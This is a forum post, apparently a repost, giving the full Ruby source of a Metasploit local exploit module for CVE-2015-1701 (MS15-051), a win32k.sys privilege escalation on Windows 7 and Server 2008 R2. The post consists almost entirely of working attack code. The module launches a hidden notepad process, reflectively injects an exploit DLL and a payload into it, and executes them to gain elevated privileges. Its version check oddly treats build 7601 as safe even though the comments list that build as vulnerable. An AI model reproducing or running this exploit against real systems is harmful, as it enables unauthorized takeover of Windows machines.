Windows ClientCopyImage Win32k Exploit

admin · 发表于 2015-7-8 12:10:00

##
# This module requires Metasploit: [url]http://metasploit.com/download[/url]
# Current source: [url]https://github.com/rapid7/metasploit-framework[/url]
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows ClientCopyImage Win32k Exploit',
'Description' => %q{
This module exploits improper object handling in the win32k.sys kernel mode driver.
This module has been tested on vulnerable builds of Windows 7 x64 and x86, and
Windows 2008 R2 SP1 x64.
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # vulnerability discovery and exploit in the wild
'hfirefox', # Code released on github
'OJ Reeves' # msf module
],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => 'win',
'SessionTypes' => [ 'metrepreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
},
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2015-1701'],
['MSB', 'MS15-051'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'],
['URL', 'https://github.com/hfiref0x/CVE-2015-1701'],
['URL', 'https://technet.microsoft.com/library/security/MS15-051']
],
'DisclosureDate' => 'May 12 2015',
'DefaultTarget' => 0
}))
end
def check
# Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work)
# Winodws 7 SP1 (64-bit) 6.1.7601.17514 (Works)
# Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works)
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works)
if sysinfo['OS'] !~ /windows/i
return Exploit::CheckCode::Unknown
end
if sysinfo['Architecture'] =~ /(wow|x)64/i
arch = ARCH_X86_64
elsif sysinfo['Architecture'] =~ /x86/i
arch = ARCH_X86
end
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
return Exploit::CheckCode::Safe if build == 7601
return Exploit::CheckCode::Detected
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe || check == Exploit::CheckCode::Unknown
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo['Architecture'] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] =~ /x86/ && target.arch.first == ARCH_X86_64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Metrepreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
if target.arch.first == ARCH_X86
dll_file_name = 'cve-2015-1701.x86.dll'
else
dll_file_name = 'cve-2015-1701.x64.dll'
end
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1701', dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end

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